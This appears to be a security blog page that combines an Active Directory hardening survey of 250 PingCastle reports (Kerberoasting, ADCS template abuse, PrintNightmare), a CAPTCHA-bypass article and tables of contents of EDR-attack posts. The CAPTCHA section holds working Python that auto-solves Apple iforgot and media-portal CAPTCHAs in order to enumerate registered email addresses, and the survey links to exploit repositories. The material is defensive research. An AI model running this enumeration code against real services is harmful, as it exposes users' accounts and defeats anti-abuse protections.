Excerpt from a Volexity blog post: A userland application cannot modify kernel memory, so the malware authors include a vulnerable driver, RTCore64.sys, to read and write into this protected memory space. A public GitHub repository, KDU, owned by hFiref0x, documents a list of drivers that can be abused for this Bring Your Own Vulnerable Driver (BYOVD) technique.

6.2 - Findings

6.2.1 - Ensure that dangerous privileges are not granted to everyone by GPO

The purpose is to ensure that standard users are not granted dangerous privileges. The SeLoadDriverPrivilege presented above is one of many dangerous privileges. Thomas Roccia (fr0gger) has compiled a list of Windows privileges (Figure 3).

Figure 3: Windows Privileges

Figure 4 shows a snippet from a Default Domain Policy, granting Èveryone the SeBackupPrivilege.

Figure 4: SeBackup

Affected Domains: 13/250

6.3 - References & Tools

https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/
https://0xdf.gitlab.io/2020/10/31/htb-fuse.html
https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391
https://speakerdeck.com/fr0gger/windows-privileges

7. Harden critical accounts

7.1 - Introduction

Add critical accounts to the Protected Users Security Group to raise the bar for a successful attack against your network. This group provides protections over and above just preventing delegation and makes them even more secure; however, it may cause operational issues, so it is worth testing in your env.

Benefits of using the Protected Users Security Group:

Credential delegation (CredSSP) will not cache the user's plain text credentials [..]
Beginning with Windows 8.1 and Windows Server 2012 R2, Windows Digest will not cache the user's plain text credentials even when Windows Digest is enabled.
NTLM will not cache the user's plain text credentials or NT one-way function (NTOWF).
Kerberos will no longer create DES or RC4 keys. Also, it will not cache the user's plain text credentials or long-term keys after the initial TGT is acquired.

Accounts that are members of the Protected Users group that authenticate to a Windows Server 2012 R2 domain are unable to:

✅ Authenticate with NTLM authentication. ✅ Use DES or RC4 encryption types in Kerberos pre-authentication. ✅ Be delegated with unconstrained or constrained delegation. ✅ Renew the Kerberos TGTs beyond the initial four-hour lifetime.

:::warning{title="A word of advice"} Accounts for services and computers should never be members of the Protected Users group. This group provides incomplete protection anyway, because the password or certificate is always available on the host. :::

7.2 - Findings

7.2.1 - At least one member of an admin group is vulnerable to the Kerberoast attack

To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.

Affected Domains: 95/250

7.2.2 - Check the use of Kerberos with weak encryption (DES algorithm)

The purpose is to verify that no weak encryption algorithm such as DES is used for accounts. DES is a very weak algorithm and once assigned to an account, it can be used in Kerberos ticket requests, even though it is easily cracked. If the attacker cracks the Kerberos ticket, they can steal the token and compromise the user account.

Affected Domains: 103/250

7.2.3 - Check for the number of Administrator accounts above the baseline

The purpose is to verify if the number of administrator accounts is not disproportionate. Very few users should have domain admin accounts.

Affected Domains: 51/250

7.2.4 - At least one administrator account can be delegated

The purpose is to ensure that all Administrator Accounts have the configuration flag "this account is sensitive and cannot be delegated" (or are members of the built-in group "Protected Users" when your domain functional level is at least Windows Server 2012 R2).

Affected Domains: 232/250

7.3 - References & Tools

https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group
https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/total-identity-compromise-microsoft-incident-response-lessons-on-securing-active/3753391

8. Print Spooler Service

8.1 - Introduction

A running print spooler service on domain controllers is still a relatively common finding in our Active Directory assessments, even though an attack path via spooler service and unconstrained delegations have been known for years.

Figure 5: The spooler service is remotely accessible

Apart from the (older) attack technique with unconstrained delegations (see above), the printer spooler has had various critical vulnerabilities over the last two years.

Figure 4: Printer Spooler vulnerability

In one of our Incident Response investigations, the attacker attempted to exploit the PrintNightmare (CVE-2021-34527) vulnerability. PrintNightmare can be used for Local Privilege Escalation as well as Remote Code Execution, as the screenshot below shows.

Figure 5: PrintNightmare

Disable the print spooler service on domain controllers if possible to reduce the attack risk in case of an active attacker in the network. Additionally, the corresponding Windows patches (as an example for the LPE via PrintNightmware) must be rolled out and installed quickly across the board.

8.2 - Findings

8.2.1 - Ensure that the Print Spooler service cannot be abused to get the DC credentials

When there's an account with unconstrained delegation configured (which is fairly common) and the Print Spooler service running on a computer, you can get that computers credentials sent to the system with unconstrained delegation as a user. With a domain controller, the TGT of the DC can be extracted allowing an attacker to reuse it with a DCSync attack and obtain all user hashes and impersonate them.

Affected Domains: 140/250

8.3 - References & Tools

https://adsecurity.org/?p=4056
https://github.com/m8sec/CVE-2021-34527
https://www.cisa.gov/known-exploited-vulnerabilities-catalog

9. Easy Wins (for Attackers)

9.1 - Introduction

To wrap up this two-part series, here are more points you should focus on to better defend your networks.

9.2 - Findings

9.2.3 - Obsolete Domain Controller

The purpose is to ensure that there is no use of the obsolete and vulnerable OS Windows Server 20[03|08|12] as Domain Controller within the domain.

DC-2003 Affected Domains: 3/250

DC-2008 Affected Domains: 21/250

DC-2012 Affected Domains: 10/250

9.2.4 - Number of accounts that do not require Kerberos pre-authentication

Without Kerberos pre-authentication, an attacker can request Kerberos data from the domain controller and use this data to crack the account password.

Check if all accounts require Kerberos pre-authentication Affected Domains: 19/250

Check if all admin accounts require Kerberos pre-authentication Affected Domains: 4/250

9.2.5 - DC's have been found where the owner is not in the Domain Admins group or the Enterprise Admin group

By default, the "Domain Administrators" group or the "Enterprise Administrators" group are set as owners for "Domain Controllers". Nonetheless, in some cases (for instance when the server has been promoted from an existing server), the owner can be a non-admin person which joined the server to the domain. If this person has still rights over this account, it can be used to take ownership over the whole domain. A chain of compromising events can be designed to take control of the domain by including this account.

Affected Domains: 42/250

9.2.6 - DC vulnerability (MS17-010)

The purpose is to verify if Domain Controller(s) are vulnerable to the MS17-010 vulnerability.

Affected Domains: 2/250

9.2.7 - Check if a GPO assigns everyone to a local group

The purpose is to identify if there are local groups such as local administrators, terminal server access, where Authenticated Users or Everyone is being granted access by a GPO. It is possible that a GPO adds local membership using a GPO. In this case the rule triggers if one is found with "Everyone" or "Authenticated Users" or "Domain Users", ... as members. It basically means that the local Group has no restriction on belongs to it. This represents a security risk as Local Group are supposed to have more accesses or rights.

Figure 6: LocalAdmins

Affected Domains: 9/250

9.3 - References & Tools

https://cube0x0.github.io/Pocing-Beyond-DA/
https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/
https://blog.nviso.eu/2023/10/26/most-common-active-directory-misconfigurations-and-default-settings-that-put-your-organization-at-risk/
https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise

10. Conclusion

Keeping an Active Directory (AD) secure takes effort, careful planning, and a good understanding of how attackers might try to break in. After looking at 250 PingCastle reports, we found that many organizations still have common mistakes and outdated setups that make them easy targets. Problems like giving users too many privileges, not securing important accounts, misconfiguring services like the Print Spooler, and ignoring relaying vulnerabilities give attackers the chance to take over entire systems.

Tear Down The Castle - Part 1

Stephan Berger — Sun, 19 Jan 2025 02:04:20 GMT

:::note This article was first published on dfir.ch :::

Introduction

In the realm of IT infrastructure, Active Directory (AD) serves as a crucial backbone, enabling organizations to manage users, devices, and resources efficiently. However, given its central role, it also presents a significant security target, and maintaining its integrity is paramount. Misconfigurations and overlooked security gaps in AD can expose an organization to critical vulnerabilities, leading to potential breaches, data theft, and system downtime.

1. ADCS (Active Directory Certificate Services

1.1 - Introduction

Figure 1: Certified Pre-Owned

The whitepaper Certified Pre-Owned: Abusing Active Directory Certificate Services by Will Schroeder and Lee Christensen introduced new attack vectors and techniques for gaining domain administrative rights through Active Directory Certificate Services (AD CS). Their research demonstrates how attackers—and defenders—can leverage the Certify tool, developed by SpecterOps, to discover and exploit vulnerable certificates within a network. Below is an excerpt showcasing an example of a vulnerable certificate, sourced from ired.team.

Figure 2: Vulnerable certificate

In the screenshot above, the presence of ENROLLEE_SUPPLIES_SUBJECT indicates that a user requesting a certificate based on this template can specify any subject, including domain administrators. This means attackers could potentially request certificates impersonating high-privilege accounts. 🤯 Additionally, the Client Authentication setting under PkiExtendedKeyUsage allows the certificate created from this template to be used for authentication against machines within Active Directory, effectively granting access across the network.

With the Enrollment Rights set to NT Authority\Authenticated Users, any authenticated user in the domain has the ability to generate a new certificate based on this template. For an in-depth analysis of these vulnerabilities, additional details are available here.

Once the vulnerable certificate template has been identified, we can request a new certificate on behalf of a domain administrator using Certify. [..] Once we have the certificate in cert.pfx, we can request a Kerberos TGT for the user for which we minted the new certificate. (Source: ired.team)

Figure 3: Rubeus - Requesting a Kerberos TGT

In a nutshell - it's practically game over at this point. While this overview covers some of the main attack vectors, there are numerous other techniques targeting vulnerable certificates (as detailed in the original SpecterOps whitepaper), and ongoing research continues to uncover new threats in this area.

Discussions with customers show that awareness of these risks is still alarmingly low among administrators and IT security professionals. This underscores the urgent need for better education and more proactive security measures.

1.2 - Findings

1.2.1 - At least one certificate template can be modified by anyone

A certificate template is an object whose definition serves as a base to issue certificates. If a user has the right to edit it, it can manually change obscure attributes such as msPKI-Certificate-Name-Flag. Doing so will enable him to provide the subject of the certificate and thus having a certificate on behalf other users such as admins. It can be used to impersonate them and take control of the domain.

Affected Domains: 19/250

1.2.2 - At least one certificate used for authentication can have it's subject modified when being used

Usually, the subject of a certificate is generated automatically by the certification authority. By allowing editing before its issuance, a malicious user can set the subject to an administrator account, and thus get a certificate representing them. This certificate can be abused later to impersonate them.

Figure 4: PingCastle ADCS check

Affected Domains: 24/250

1.3 - References & Tools

https://posts.specterops.io/certified-pre-owned-d95910965cd2
https://riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/
https://m365internals.com/2022/11/07/investigating-certificate-template-enrollment-attacks-adcs/
https://blackhillsinfosec.com/abusing-active-directory-certificate-services-part-one/
https://services.google.com/fh/files/misc/active-directory-certificate-services-hardening-wp-en.pdf
https://github.com/jakehildreth/Locksmith

2. Service Accounts

2.1 - Introduction

We frequently discover service accounts configured with excessive privileges during our Active Directory assessments and incident response engagements. In many instances, these accounts are assigned elevated permissions, such as membership in the Domain Administrators group—far exceeding what is necessary for their intended purpose. This overprovisioning represents a significant security risk.

The problem is compounded when these service accounts are protected with weak or easily guessable passwords. Given their elevated privileges, these accounts become prime targets for attackers. If compromised, they can grant unauthorized access to critical systems, facilitate lateral movement within the network, and potentially lead to a complete domain compromise.

Additionally, service accounts often fall outside the scope of regular monitoring and password management policies applied to user accounts. Many have non-expiring passwords, leaving them increasingly vulnerable over time. Attackers can exploit these gaps to establish persistent access, evade detection, and circumvent response efforts, further magnifying the security threat.

Figure 5: Service account, which is part of the Domain Admin group

2.2 - Findings

2.2.1 - No password policy for service accounts found

The purpose is to give information regarding a best practice for the Service Account password policy. Indeed, having a 20+ characters password for this account greatly helps reducing the risk of Kerberoasting attacks (offline cracking of the TGS tickets)

Affected Domains: 240/250

2.2.2 - Check if Service Accounts (aka accounts with never expiring password) are domain administrators

The purpose is to check for accounts with non-expiring passwords in the "Domain Administrator" group PingCastle is checking accounts with never expiring password, that are mostly used as service accounts. "Service Accounts" can imply a high security risk as their password are stored in clear text in the LSA database, which can then be easily exploited using Mimikatz or Cain&Abel for instance. In addition, their passwords don't change and can be used in Kerberoast attacks.

Affected Domains: 158/250

2.2.2 - Admin Accounts are Kerberoastable

The purpose is to ensure that the password of admin accounts cannot be retrieved using the Kerberoast attack. To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.

Affected Domains: 95/250

2.3 - References & Tools

https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391
https://www.synacktiv.com/publications/a-dive-into-microsoft-defender-for-identity.html
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/group-managed-service-accounts/group-managed-service-accounts/group-managed-service-accounts-overview

3. Passwords

3.1 - Introduction

In our incident response cases, we frequently encounter local administrator accounts or accounts within the local administrator group that are secured with weak passwords—making them prime targets for lateral movement.

Also, regularly review the properties of Active Directory objects, paying particular attention to the description field, as it may inadvertently contain sensitive information such as passwords.

Figure 6: Querying the user properties

LAPS is the Microsoft solution to automatically manage the password for the built-in Administrator account on Windows devices. When machines are built or imaged, they often have the same password for the built-in Administrator account. If this is never changed, a single password can give local administrative rights to all machines and may provide opportunities for lateral movement. LAPS solves this problem by ensuring each device has a unique local administrator password and rotates it regularly. - Total Identity Compromise: Microsoft Incident Response lessons on securing Active Directory

3.2 - Findings

3.2.1 - Obfuscated Passwords

PingCastle attempts to identify passwords stored in GPOs. If PingCastle was able to retrieve a password, attackers can also obtain it and so the account should be considered compromised. Note that Microsoft published the AES key used to encrypt passwords in GPOs, which is why even an encrypted password is insecure.

Figure 7: Obfuscated passwords

As seen in the wild: One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. - Trello From the Other Side: Tracking APT29 Phishing Campaigns

Affected Domains: 47/250

3.2.2 - Presence of accounts with non-expiring passwords in the domain admin group

Some accounts have passwords which never expire. Should an attacker compromise one of these accounts, he would be able to maintain long-term access to the Active Directory domain.

Affected Domains: 245/250

3.2.3 - Number of admin with a password older than 3 years

The purpose is to ensure that all admins are changing their passwords at least every 3 years

Affected Domains: 198/250

3.2.4 - Number of accounts that can have an empty password

An account can be set without a password if it has the flag "PASSWD_NOTREQD" set as "True" in the "useraccountcontrol" attribute. This represents a high security risk as the account is not protected at all without a password

Affected Domains: 110/250

4. PowerShell Script Block Logging

4.1 - Introduction

Strictly speaking not part of a guide about hardening Active Directory, but I must stress once again the importance of logging executed PowerShell code on clients and servers. In the year's "Year in Review" (2022) of TalosSecurity, PowerShell's Invoke-Expression is listed as number 1 of the most alerted Behavioral Protection signatures (see references below).

Figure 8: PowerShell Invoke-Expression

4.2 - Findings

4.2.1 - The PowerShell audit configuration is not fully enabled

PowerShell is a powerful language, also used by hackers because of this quality. Hackers are able to run programs such as mimikatz in memory using obfuscated commands such as Invoke–Mimikatz. Because there is no artefact on the disk, the incident response task is difficult for the forensic analysts. For this reason, we recommend to enable PowerShell logging via a group policy, despite the fact that these security settings may be part of the workstation or server images.

Affected Domains: 231/250

4.3 - References & Tools

https://x.com/malmoeb/status/1627214815012716546
https://www.calcomsoftware.com/ensure-turn-on-powershell-script-block-logging-is-set-to-disabled/
https://blog.talosintelligence.com/talos-year-in-review-2022/
https://www.splunk.com/en_us/blog/security/hunting-for-malicious-powershell-using-script-block-logging.html
https://github.com/search?q=repo%3Aelastic%2Fdetection-rules+powershell.file.script_block_text+language%3ATOML&type=code&l=TOML

5. Add Computers to the Domain

5.1 - Introduction

A customer called us because he discovered two new computers within his computer objects that did not match his naming scheme.

Figure 9: SAMTHEADMIN computer object

During the detailed investigation of the incident, it turned out that these SAMTHEADMIN objects were part of an exploit code that (if successful) would give administrative rights to a standard domain user.

Figure 10: sam-the-admin exploit

In addition to the exploit presented above, various other attack techniques rely on the fact that an unprivileged user can create new computer objects within the domain. The best way to prevent such attacks is to remove this privilege from all users on the network and only explicitly assign it to a particular group (supporters, IT administrators, etc.).

Ping Castle also checks the value of MachineAccountQuota and outputs a corresponding finding if the value is < 0. This default configuration represents a security issue as regular users shouldn't be able to create such accounts, and administrators should handle this task.

5.2 - Findings

5.2.1 Non-admin users can add up to 10 computers to the domain

By default, a basic user can register up to 10 computers within the domain. This default configuration represents a security issue as basic users shouldn't be able to create such accounts and this task should be handled by administrators.

Affected Domains: 171/250

5.3 - References & Tools

https://github.com/Ascotbe/Kernelhub/blob/e55eb366bab445539ff16c63d3831ed4af91c92f/Windows/CVE-2021-42287/sam-the-admin/sam_the_admin.py#L4
https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html

Breaking CAPTCHAs with image recognition

Mario Bischof — Sat, 09 Sep 2023 00:00:00 GMT

:::important{title="TL;DR"} Do you still mark some pentesting-checks as "info" after encountering an alphanumeric CAPTCHA? Have you ever been annoyed you could not automate certain enumeration tasks during a red team engagement because of this PITA thing? This article explains how image recognition services can be used to bypass (i.e. auto-solve) classical alphanumeric CAPTCHAs. On the examples of Apple-ID and Medienportal we explain the details step-by-step and conclude with very simple but working python-code. :::

Introduction

CAPTCHA or Completely Automated Public Turing test to tell Computers and Humans Apart is a term for techniques to prevent parts of an application from being automatically (mis-)used by robots. Typically (but not exclusively), registration or login forms are protected by this to prevent the bulk-creation of fake user accounts or brute forcing of logins. Although the idea of using machine learning for text recognition in CAPTCHAs is nothing new, public AI as a service (AIaaS) models have gotten ever more powerful and extremely cheap to use (e.g. 0.001$/img). It is even more perplexing that alphanumeric CAPTCHAs, meaning letters and numbers that need to be optically recognized, are still widely used by a lot of companies, including big tech giants like Apple. In the following, we demonstrate how alphanumeric CAPTCHAs can be solved programmatically using image recognition. We explain the approach step- by-step from identifying the problem to a working bypass. For our code examples we mainly use the python requests library and the text detection engine of Amazon Rekognition, but any programming language and service may be used.

Use cases

Apple-ID

iforgot.apple.com/password/verify/appleid

If you forget the password of your apple-ID, you can reset it via the website iforgot.apple.com/password/verify/appleid. However, to prevent this function from being excessively used, Apple does prompt the user to input the characters shown in an adjacent image. Usually, this "text" is intentionally visually altered by overlapping characters or introducing additional noise like lines or patterns to make it harder for AI to recognize its correct meaning. The difficulty to recognize these characters varies greatly from each image to the next and there is usually no limitation on how often a new challenge can be requested, posing ideal conditions for automation.

If the website is investigated more closely we can identify two relevant web-calls: First, a GET when clicking on "Neuer Code", which retreives a new CAPTCHA image and second, the POST call made when clicking on "Weiter" which submits the form and validates the CAPTCHA input. It is important to note that the mapping of a CAPTCHA instance to the user session is done using the session cookies. Our code starts by calling the initial website iforgot.apple.com/password/verify/appleid containing the form and storing its session cookies which we need later for requesting and validating CAPTCHAs:

headers = {'Content-Type': 'application/json', 'Accept': 'application/json,
text/javascript, */*; q=0.01','Accept-Language':
'de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7',"User-Agent": "Mozilla/5.0 (Windows NT
10.0; Win64; x64) AppleWebKit/500.36 (KHTML, like Gecko) Chrome/99.0.0.74
Safari/537.0"}
response = requests.get('https://iforgot.apple.com/password/verify/appleid',
headers=headers)
cookies = response.cookies

The request of a CAPTCHA image with iforgot.apple.com/captcha?captchaType=IMAGE returns a Base64 encoded image payload, a token and an id in JSON. We save the image to a file and store the rest in variables. The image is sent to Amazon Rekognition as bytes using detect_text(), which returns an array of detected texts in response['TextDetections']. Since (hopefully) only one text object was detected, it is sufficient to just access the first element.

:::note To use Amazon Rekognition, a valid aws_access_key_id and aws_secret_access_key need to be defined in ~/.aws/credentials. See here for more info. rek_client = boto3.client('rekognition', region_name='us-west-2') :::

while True:
    response =
requests.get('https://iforgot.apple.com/captcha?captchaType=IMAGE',
headers=headers, cookies=cookies)
    captcha_payload = response.json()["payload"]["content"]
    captcha_token = response.json()["token"]
    captcha_id = response.json()["id"]
    file_name = 'data/decoded_image.jpg'
    base64_img_bytes = captcha_payload.encode('utf-8')

    with open('./data/decoded_image.jpg', 'wb') as file_to_save:
        decoded_image_data = base64.decodebytes(base64_img_bytes)
        file_to_save.write(decoded_image_data)

    with open(file_name, 'rb') as im:
        im_bytes = im.read()
        response = rek_client.detect_text(Image={'Bytes': im_bytes})
        textDetections = response['TextDetections']

        if response['TextDetections'] is not None:
            captcha_answer = str(textDetections[0]['DetectedText']).replace(' ',
 '')
        else:
            captcha_answer = ''
            continue

Using the supposed CAPTCHA answer, the id and the token, we craft the POST request to https://iforgot.apple.com/password/verify/appleid for validation. If the answer was not valid, the response contains captchaAnswer.Invalid, so the absence of this string means success.

Since in this scenario the response of a successful form-submission does reveal if a given e-mail address is NOT a valid apple-ID, we can craft a simple user enumeration check by looking for the string appleIdNotSupported:

json = {"id": email,"captcha":{"id":captcha_id, "answer":captcha_answer,
"token":captcha_token}}
response = requests.post('https://iforgot.apple.com/password/verify/appleid',
headers=headers, cookies=cookies, json=json)

captcha_failed_string = 'captchaAnswer.Invalid'

if not captcha_failed_string in str(response.content):
    if 'appleIdNotSupported' in str(response.content):
        print('e-mail ' + email + ' not registered')
    else:
        print('e-mail ' + email + ' registered')
    break

Because we can request an arbitrary number of CAPTCHA images, we can just continously repeat this process until a correct guess is made. As shown in the following, Amazon's model guesses many of the images correctly and not many attempts are needed on average until a valid answer is found: Label detection of Apple CAPTCHAs

We can now use our CAPTCHA bypass to run an automated user enumeration check on Apple-IDs:

Medienportal

We now investigate a second but similar example. The registration form of the Medienportal also uses an alphanumeric CAPTCHA. This time, a lot of visual strikethrough and magnifier effects are used to complicate text detection.

We again identify a GET request https://medien.***.ch/c/portal/captcha/get_image?portletId=com_liferay_login_web_portlet_LoginPortlet&t=168008376454 which gets/refreshes a CAPTCHA image and a POST request via "Speichern"-Button, which submits the whole form and validates the CAPTCHA text. The mapping of a CAPTCHA instance to the user session is again done via session cookies.

Although the visual obfuscation strategy in this case is somewhat different to the first example, the model is again very effective in detecting the correct contents:

The implementation is almost identical to Apple-ID, with some small differences in the form-submission. We again perform user enumeration as a practical automation example. Since we target the registration form and we do not want to create a new user account for a non-existing e-mail, we intentionally leave away essential information like zipCode, city, street, etc. This way, the registration form will always fail but it still reveals if a given e-mail address is registered.

:::note To achieve user enumeration in the case of the registration form, the order of input validation is exploited. If the form would validate each field before confirming the e-mail address' existence, our strategy of blank-submitting fields would not work. However, not giving away ANY information AT ALL would of course be the expected (secure) behavior of a form. ::: This time, the data is sent as standard POST body instead of JSON. We loop through this process and look for the absence of a captcha_failed_string until we have a correct guess:

headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Origin':
'https://medien.***.ch'}
safe_string_email = urllib.parse.quote_plus(email)
safe_string_captcha = urllib.parse.quote_plus(captcha_answer)
data_body =

"\_com_liferay_login_web_portlet_LoginPortlet_formDate=&\_com_liferay_login_web_portlet_LoginPortlet_saveLastPath=false&[...]&\_com_liferay_login_web_portlet_LoginPortlet_street=&\_com_liferay_login_web_portlet_LoginPortlet_phone=&\_com_liferay_login_web_portlet_LoginPortlet_mobile-phone=&\_com_liferay_login_web_portlet_LoginPortlet_emailAddress="

- safe_string_email +

"&_com_liferay_login_web_portlet_LoginPortlet_password1=Super1234!&_com_liferay_login_web_portlet_LoginPortlet_password2=Super1234!&_com_liferay_login_web_portlet_LoginPortlet_captchaText="
 + safe_string_captcha +
"&_com_liferay_login_web_portlet_LoginPortlet_checkboxNames=&p_auth=43F3MwwF"
response = session.post(submit_url, headers=headers, cookies=cookies,
data=data_body)

captcha_failed_string = 'fung fehlgeschlagen'

if not captcha_failed_string in str(response.content):
    if 'Die angegebene E-Mail-Adresse ist schon vergeben.' in
str(response.content):
        print('e-mail ' + email + ' registered')
    else:
        print('e-mail ' + email + ' not registered')
    break

We again use our second CAPTCHA bypass to run an automated user enumeration check on Medienportal accounts:

Summary

As demonstrated in this article, alphanumeric CAPTCHAs can be easily bypassed using any image recognition provider. There is neither a need for specific tooling nor complex technical know how and a custom bypass can be scripted in just a few lines of code. Bypassing alphanumeric CAPTCHAs is fast, cheap and can be heavily scaled. The still very wide adoption of this technique to prevent bots/automation is therefore quite baffling to see and the staggering progress in artificial intelligence additionally worsens the situation.

So what should we do with alphanumeric CAPTCHAs? Our conclusion is that they are not realiable and secure at all and should not be used anymore, especially not to protect functionality that might be relevant for the security/privacy of a system. There are more advanced automation prevention solutions such as Googles reCAPTCHA or cloudflare, which are significantly harder to bypass. But even imposing some basic restrictions (and ultimately bans) on the possible number of calls to the challenge image refresh function for more classical CAPTCHAs could yet greatly reduce the possibilities for automation.

InfoGuard Labs

Abusing Cortex XDR Live Terminal as a C2

TL;DR

Introduction

Research Setup: Analyzing network traffic

Decompiling cortex-xdr-payload.exe

Analyzing Live Terminal Network Traffic

Abusing Live Terminal as C2

Method 1: Cross-Tenant

Method 2: Creating a Custom Server

Prevention Rules

Detection

Disclosure Timeline

Conclusion

CLRaptor: Hunting reflected assemblies with Velociraptor

Background: .NET and the CLR

Background: Reflection

Capability 1: Windows.Detection.ReflectedAssemblies

Capability 2: Windows.System.IsClrProcess

Dump reflected assemblies for analysis.

Summary

References:

Analyzing and Breaking Defender for Endpoint's Cloud Communication

TL;DR

Introduction

Analyzing network traffic

Findings

Intercept Commands (Authentication Bypass and Spoofing Data)

Example Attack: Prevent Isolation and Spoof Result

Intercept Actions (Authentication Bypass and Spoofing Data)

Unauthenticated IR-Exclusions

General Agent Configuration

Enumeration done by DFE (InvestigationPackage)

Conclusion

Automation of VHDX Investigations

Introduction

VHDX

The Velociraptor Way

Windows.Sys.Users

Remapping Configuration

Virtual Client Creation

Let's Scale Up

All in One Remapping

One-to-One Clients

Batching: The Optimal Middle Ground

Artefacts

Windows.Sys.Users (Override)

Windows.Vhdx.RemapConfigBuilder

Windows.Vhdx.VirtualClientRunner

Windows.Vhdx.VirtualClientRemover

Security Considerations

Availability on the Velociraptor Artifact Exchange

Conclusion

Attacking EDRs Part 4: Fuzzing Defender's Scanning and Emulation Engine (mpengine.dll)

1. Introduction

2. Summary

3. How to fuzz mpengine.dll?

3.1 Debugging Defender

1.) Use a user mode debugger and bypass restrictions

2.) Use WinDBG as a kernel debugger and follow the MsMpEng.exe process.

4. Fuzzing

4.1 WTF Snapshot Position

4.2 WTF Harness

4.3 Initial Corpus

4.4 Fuzzing with WTF

4.5 Fuzzing with kAFL/NYX

Harness

4.6 Fuzzing with Jackalope

5. Results

crash1-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc670b03

crash2-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbba5fdf

crash3-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a4acb

crash4-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdbb6e1e7

crash5-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc3d3b22

crash6-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcf36b3c29

crash8-EXCEPTION_ACCESS_VIOLATION_READ-0x7ffcdc0a517f

5.1 Example POCs

6. Conclusion

Attacking EDRs Part 3: One Bug to Stop them all

1. Summary of ALPC Blocking Vulnerability

Decompiling `cortex-xdr-payload.exe`

Intercept `Commands` (Authentication Bypass and Spoofing Data)

Intercept `Actions` (Authentication Bypass and Spoofing Data)

3. How to fuzz `mpengine.dll`?